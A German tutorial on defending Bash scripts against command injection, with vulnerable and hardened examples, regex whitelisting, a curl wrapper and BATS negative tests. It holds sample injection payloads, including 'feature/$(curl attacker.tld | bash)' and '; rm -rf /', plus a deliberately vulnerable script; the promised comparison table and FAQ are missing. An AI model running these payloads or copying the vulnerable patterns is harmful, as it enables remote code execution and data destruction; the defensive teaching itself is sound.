Bash-Skripte gegen Command Injection durch Nutzereingaben absichern

1. Wie Command Injection in Bash-Skripten entsteht

Command Injection in Bash entsteht immer dort, wo eine Eingabe, die potenziell von außen beeinflussbar ist, ungeprüft in einen Befehl eingebaut wird, den die Shell anschließend interpretiert. Anders als bei eval, wo eine explizite zweite Auswertungsebene existiert, reicht bei Command Injection durch Nutzereingaben oft schon eine falsche Quoting Entscheidung, ein unquotierter Parameter in einer Pipeline oder ein Aufruf von xargs ohne Null Byte Trennung. Die Shell selbst interpretiert bestimmte Zeichen wie Semikolon, Pipe, kaufmännisches Und und Backtick als Steuerzeichen, unabhängig davon, ob diese Zeichen aus einer legitimen oder einer bösartigen Quelle stammen.

Der entscheidende Denkfehler bei Command Injection ist die Annahme, dass Nutzereingaben harmlos sind, weil sie über ein internes Tool oder ein scheinbar geschütztes Formular eingegeben werden. In der Praxis stammen Eingaben in Bash Automatisierung aber aus vielen Quellen: Kommandozeilenargumente, Umgebungsvariablen, Dateinamen, HTTP Antworten, Datenbankeinträge und Konfigurationsdateien. Jede dieser Quellen kann direkt oder indirekt von einem Angreifer kontrolliert werden, etwa über einen manipulierten Dateinamen oder eine kompromittierte Upstream API.

Bash Skripte, die produktiv im Deployment, in der Wartung oder in CI Pipelines laufen, sollten deshalb grundsätzlich jede externe Eingabe als potenziell feindlich behandeln. Diese Denkweise, bekannt als Zero Trust für Eingaben, ist die Grundlage jeder wirksamen Verteidigung gegen Command Injection in Bash.

2. Angriffsvektoren: Argumente, Umgebungsvariablen, Dateiinhalte, Netzwerkdaten

Der offensichtlichste Angriffsvektor für Command Injection sind Kommandozeilenargumente, die direkt vom Aufrufer eines Skripts stammen. Weniger offensichtlich, aber genauso gefährlich sind Umgebungsvariablen, die ein Skript aus seiner Ausführungsumgebung übernimmt, etwa in Cronjobs, systemd Units oder CI Runnern, wo die Umgebung teilweise von vorherigen Pipeline Schritten gesetzt wird. Ein Angreifer, der einen einzelnen vorgelagerten Schritt kompromittiert, kann darüber Umgebungsvariablen manipulieren, die später in einem Bash Skript landen.

Dateinamen sind ein oft übersehener Angriffsvektor: Ein Dateiname wie $(rm -rf /).txt oder ein Dateiname mit eingebettetem Semikolon kann, wenn er unquotiert in einen Befehl eingebaut wird, Command Injection auslösen, selbst wenn niemand direkt eine Kommandozeile bedient. Netzwerkdaten, etwa Antworten einer JSON API, die per jq ausgelesen und anschließend in einem Bash Befehl verwendet werden, sind eine vierte, zunehmend relevante Quelle, weil moderne Bash Automatisierung immer stärker mit externen Diensten kommuniziert.

Die folgende Übersicht fasst zusammen, wie diese vier Vektoren typischerweise in ein Bash Skript einfließen und wo die Injection tatsächlich stattfindet: bei der String Konkatenation für einen Befehl, nicht erst bei dessen Ausführung.

#!/usr/bin/env bash
# VULNERABLE: multiple injection vectors combined
set -euo pipefail

# Vector 1: command line argument used unquoted in a pipeline
grep $1 /var/log/app.log

# Vector 2: environment variable from CI, trusted implicitly
notify_url=$CI_WEBHOOK_URL
curl $notify_url -d "status=done"

# Vector 3: filename from find, embedded directly into a shell command
for f in $(find /uploads -type f); do
  file_info=$(file $f)
  echo "$file_info"
done

# Vector 4: API response used directly in a command
response=$(curl -s https://api.example.com/hostname)
ping -c 1 $response

3. Quoting als erste Verteidigungslinie und seine Grenzen

Korrektes Quoting ist die erste und wichtigste Verteidigungslinie gegen Command Injection in Bash. Jede Variable, die potenziell Sonderzeichen enthalten kann, muss in doppelten Anführungszeichen stehen, damit die Shell Wortaufteilung und Globbing nicht anwendet. grep "$1" /var/log/app.log statt grep $1 /var/log/app.log verhindert bereits einen großen Teil der naiven Injection Versuche, weil das Argument als ein einziges, unveränderliches Wort an grep übergeben wird.

Quoting allein reicht aber nicht aus, wenn die Eingabe selbst in einen dynamisch zusammengesetzten Befehlsstring eingebettet wird, den eval oder eine Subshell später interpretiert, oder wenn die Eingabe an Werkzeuge übergeben wird, die selbst wieder eine eigene Interpretationsebene haben, etwa reguläre Ausdrücke in grep -E oder Formatstrings in printf. Quoting schützt vor Shell Metazeichen, aber nicht vor semantisch gefährlichen Werten innerhalb eines korrekt gequoteten Strings, etwa einer bösartigen Regex, die exponentielle Laufzeit erzeugt, oder einem Pfad, der mit -- beginnt und dadurch als Option statt als Dateiname interpretiert wird.

Der Zusatz -- vor dem ersten positionalen Argument ist ein oft übersehenes, aber wichtiges Pattern: Er signalisiert dem aufgerufenen Programm, dass alle folgenden Argumente keine Optionen mehr sind, selbst wenn sie mit einem Bindestrich beginnen. Ohne dieses Muster kann eine Nutzereingabe wie --delete versehentlich als gefährliche Option interpretiert werden, statt als harmloser Dateiname.

4. Eingaben validieren: Whitelisting mit regulären Ausdrücken

Über Quoting hinaus braucht jede sicherheitsrelevante Bash Automatisierung eine explizite Eingabevalidierung, bevor eine Eingabe überhaupt in einen Befehl einfließt. Der zuverlässigste Ansatz ist Whitelisting: Ein regulärer Ausdruck definiert genau, welche Zeichen und Formate erlaubt sind, und jede Abweichung führt zu einem sofortigen Abbruch mit klarer Fehlermeldung. Blacklisting, also das gezielte Verbieten bekannter gefährlicher Zeichen, ist strukturell schwächer, weil es immer nur bereits bekannte Angriffsmuster abdeckt und neue Umgehungen übersieht.

Für typische Anwendungsfälle wie Hostnamen, Dateinamen, IDs oder E-Mail-Adressen lassen sich präzise Whitelist Muster definieren. Diese Validierungsfunktionen sollten zentral in einer Bibliotheksdatei liegen und konsequent vor jeder Verwendung der jeweiligen Eingabe aufgerufen werden, statt die Validierungslogik über das gesamte Skript zu verstreuen.

#!/usr/bin/env bash
set -euo pipefail

# Centralized whitelist validators for Bash automation
validate_hostname() {
  local value="$1"
  if [[ ! "$value" =~ ^[a-zA-Z0-9]([a-zA-Z0-9.-]{0,253}[a-zA-Z0-9])?$ ]]; then
    echo "[ERROR] Invalid hostname: $value" >&2
    exit 1
  fi
}

validate_numeric_id() {
  local value="$1"
  if [[ ! "$value" =~ ^[0-9]+$ ]]; then
    echo "[ERROR] Invalid numeric ID: $value" >&2
    exit 1
  fi
}

validate_safe_filename() {
  local value="$1"
  if [[ "$value" =~ ^-  || "$value" =~ \.\. ]]; then
    echo "[ERROR] Unsafe filename: $value" >&2
    exit 1
  fi
}

host="$1"
validate_hostname "$host"
ping -c 1 -- "$host"

Whitelisting mit regulären Ausdrücken macht die Sicherheitsentscheidung explizit und nachvollziehbar: Jeder, der das Skript liest, sieht sofort, welches Format erwartet wird. Das erleichtert Code Reviews erheblich und macht Sicherheitsannahmen sichtbar, statt sie implizit im Code zu verstecken.

5. Gefährliche Befehle vermeiden: xargs, find -exec, ssh mit ungeprüften Strings

xargs ohne -print0 und -0 ist ein klassischer Command Injection Vektor, weil Wortaufteilung anhand von Leerzeichen erfolgt und dabei eingebettete Anführungszeichen oder Backslashes zu unerwarteten Ergebnissen führen können. Die sichere Variante nutzt immer find ... -print0 | xargs -0, wodurch Dateinamen mit beliebigen Sonderzeichen als atomare Einheiten behandelt werden. find -exec {} \; ist eine noch robustere Alternative, weil hier gar keine Shell Interpretation zwischen find und dem ausgeführten Kommando stattfindet.

SSH Aufrufe mit dynamisch zusammengesetzten Remote Befehlen sind ein weiterer neuralgischer Punkt: ssh host "$remote_cmd" führt zu einer doppelten Shell Interpretation, einmal lokal beim Quoting und einmal remote beim Empfang des Strings durch die Login Shell des Zielsystems. Wenn $remote_cmd aus einer Nutzereingabe zusammengesetzt wurde, kann Command Injection sowohl lokal als auch remote entstehen. Die sichere Alternative besteht darin, Remote Befehle als feste, parametrisierte Kommandos zu definieren und nur validierte Werte als separate Argumente zu übergeben, niemals als Teil eines zusammengesetzten Befehlsstrings.

#!/usr/bin/env bash
set -euo pipefail

# SAFE: null-delimited find + xargs, no word splitting issues
find /var/log -name "*.log" -mtime +30 -print0 | xargs -0 gzip -9

# SAFE: find -exec avoids any intermediate shell interpretation
find /tmp/uploads -type f -name "*.tmp" -exec rm -f {} \;

# UNSAFE: dynamic remote command string, double shell interpretation
remote_path="$1"
ssh deploy@host "cd $remote_path && ./deploy.sh"

# SAFE: validated value passed as a discrete argument, fixed remote command
validate_safe_filename "$remote_path"
ssh deploy@host -- ./run-deploy.sh "$remote_path"

6. Sichere Wrapperfunktionen für externe Kommandos bauen

Statt Validierung an jeder einzelnen Aufrufstelle zu wiederholen, empfiehlt sich der Bau zentraler Wrapperfunktionen für alle sicherheitskritischen externen Kommandos. Eine Wrapperfunktion kapselt Validierung, Quoting und die eigentliche Ausführung an einer einzigen Stelle, sodass jede Aufrufstelle im Skript automatisch von der Absicherung profitiert. Dieses Pattern reduziert die Fehlerwahrscheinlichkeit erheblich, weil Entwickler die Sicherheitslogik nicht bei jedem neuen Aufruf erneut korrekt implementieren müssen.

Ein typisches Beispiel ist eine Wrapperfunktion für curl, die die Ziel URL immer gegen eine Whitelist erlaubter Domains prüft, bevor die eigentliche Anfrage ausgeführt wird. Ein weiteres Beispiel ist eine Wrapperfunktion für Datei Operationen, die Pfade konsequent gegen Path Traversal Muster wie ../ prüft, bevor eine Datei gelesen, geschrieben oder gelöscht wird.

#!/usr/bin/env bash
set -euo pipefail

declare -a ALLOWED_HOSTS=("api.internal.example.com" "hooks.example.com")

safe_curl() {
  local url="$1"
  shift
  local host
  host=$(printf '%s' "$url" | sed -E 's#^https?://([^/]+).*#\1#')

  local allowed=0
  for h in "${ALLOWED_HOSTS[@]}"; do
    [[ "$host" == "$h" ]] && allowed=1 && break
  done

  if [[ "$allowed" -ne 1 ]]; then
    echo "[ERROR] Host not whitelisted: $host" >&2
    exit 1
  fi

  curl --fail --silent --show-error "$url" "$@"
}

# All curl calls in the script go through this single, validated entry point
safe_curl "https://api.internal.example.com/status"

Wrapperfunktionen zentralisieren nicht nur die Absicherung, sondern erleichtern auch spätere Audits: Wer die Sicherheit eines Skripts prüfen will, muss nicht jeden einzelnen Aufruf durchsuchen, sondern nur die Wrapperfunktionen und deren Aufrufstellen kontrollieren.

7. Web-Hooks und CI-Variablen als Injection-Quelle

Webhooks sind eine besonders unterschätzte Injection Quelle, weil ihr Payload aus einer externen, oft nur teilweise vertrauenswürdigen Quelle stammt, etwa einem Git Provider, einem Zahlungsdienstleister oder einem Monitoring System. Ein Bash Skript, das Webhook Felder wie einen Commit Kommentar, einen Branch Namen oder eine Beschreibung direkt in einen Befehl einbaut, öffnet damit eine Command Injection Lücke, die vom externen Dienst aus erreichbar ist, ohne dass ein Angreifer überhaupt Zugriff auf das eigene System benötigt.

CI Variablen sind ein verwandtes, aber noch heimtückischeres Problem, weil viele CI Systeme Variablen aus Pull Request Titeln, Commit Nachrichten oder Branch Namen automatisch befüllen. Ein Branch Name wie feature/$(curl attacker.tld | bash), der in einem CI Skript ungeprüft in einen Bash Befehl eingebaut wird, kann bereits beim Build selbst Codeausführung im CI Runner auslösen, oft mit weitreichenden Berechtigungen für Secrets und Deployment Zugriffe.

Die Konsequenz ist, Webhook Payloads und CI Variablen grundsätzlich wie jede andere externe, nicht vertrauenswürdige Eingabe zu behandeln: validieren, whitelisten und niemals direkt in eine Befehlszeile einbetten, auch wenn die Quelle scheinbar intern und vertrauenswürdig wirkt.

8. Testing: Fuzzing und Negativtests für Eingabevalidierung

Eingabevalidierung, die nie gegen bösartige Eingaben getestet wurde, ist eine unbewiesene Annahme, keine verifizierte Absicherung. Negativtests, die gezielt bekannte Command Injection Payloads wie Semikolons, Backticks, Dollar Klammern und Newlines gegen die Validierungsfunktionen fahren, gehören deshalb in jede BATS Testsuite für sicherheitsrelevante Bash Skripte. Ein einfacher Fuzzing Ansatz generiert zusätzlich zufällige Sonderzeichen Kombinationen und prüft, dass die Validierung in jedem Fall entweder korrekt ablehnt oder korrekt akzeptiert, niemals aber unbemerkt durchrutscht.

Diese Tests sollten fester Bestandteil der CI Pipeline sein, damit jede Änderung an einer Validierungsfunktion automatisch gegen die komplette Sammlung bekannter Injection Payloads geprüft wird. Ein Regressionstest, der einmal einen erfolgreichen Bypass identifiziert hat, sollte dauerhaft in der Testsuite verbleiben, damit derselbe Fehler nicht erneut eingeführt werden kann.

#!/usr/bin/env bats
# test_validation.bats — negative tests for command injection payloads

@test "validate_hostname rejects semicolon injection" {
  run validate_hostname "example.com; rm -rf /"
  [ "$status" -eq 1 ]
}

@test "validate_hostname rejects command substitution" {
  run validate_hostname 'example.com$(curl attacker.tld)'
  [ "$status" -eq 1 ]
}

@test "validate_hostname rejects backtick injection" {
  run validate_hostname 'example.com`whoami`'
  [ "$status" -eq 1 ]
}

@test "validate_hostname accepts a legitimate hostname" {
  run validate_hostname "api.internal.example.com"
  [ "$status" -eq 0 ]
}

@test "validate_safe_filename rejects path traversal" {
  run validate_safe_filename "../../etc/passwd"
  [ "$status" -eq 1 ]
}

9. Vergleich: unsichere vs. sichere Eingabeverarbeitung

Die folgende Tabelle fasst die wichtigsten Command Injection Muster gegenüber ihren sicheren Gegenstücken zusammen, sortiert nach den in diesem Artikel behandelten Angriffsvektoren.

Der gemeinsame Nenner aller sicheren Varianten in dieser Tabelle ist, dass sie externe Daten strikt von der Befehlsstruktur trennen und diese Trennung durch Arrays, feste Argumente oder explizite Validierung technisch erzwingen, statt sich auf Disziplin oder Konvention zu verlassen.

10. Zusammenfassung

Command Injection in Bash entsteht, sobald externe oder teilweise vertrauenswürdige Eingaben ungeprüft in Befehle einfließen, ob als Kommandozeilenargument, Umgebungsvariable, Dateiname oder Webhook Payload. Quoting ist die erste, notwendige Verteidigungslinie, reicht aber allein nicht aus, weil es semantisch gefährliche Werte innerhalb eines korrekt gequoteten Strings nicht erkennt. Whitelisting mit regulären Ausdrücken, konsequent vor jeder Verwendung angewendet, ist die zuverlässigste strukturelle Absicherung gegen Command Injection.

Zentrale Wrapperfunktionen für externe Kommandos bündeln Validierung und Ausführung an einer Stelle und erleichtern damit sowohl Audits als auch Wartung erheblich. Webhooks und CI Variablen verdienen besondere Aufmerksamkeit, weil sie Injection Möglichkeiten öffnen können, die vollständig außerhalb der eigenen Infrastruktur liegen. Negativtests mit realen Injection Payloads in der CI Pipeline stellen sicher, dass Eingabevalidierung nicht nur behauptet, sondern tatsächlich verifiziert ist.

11. FAQ: Command Injection in Bash absichern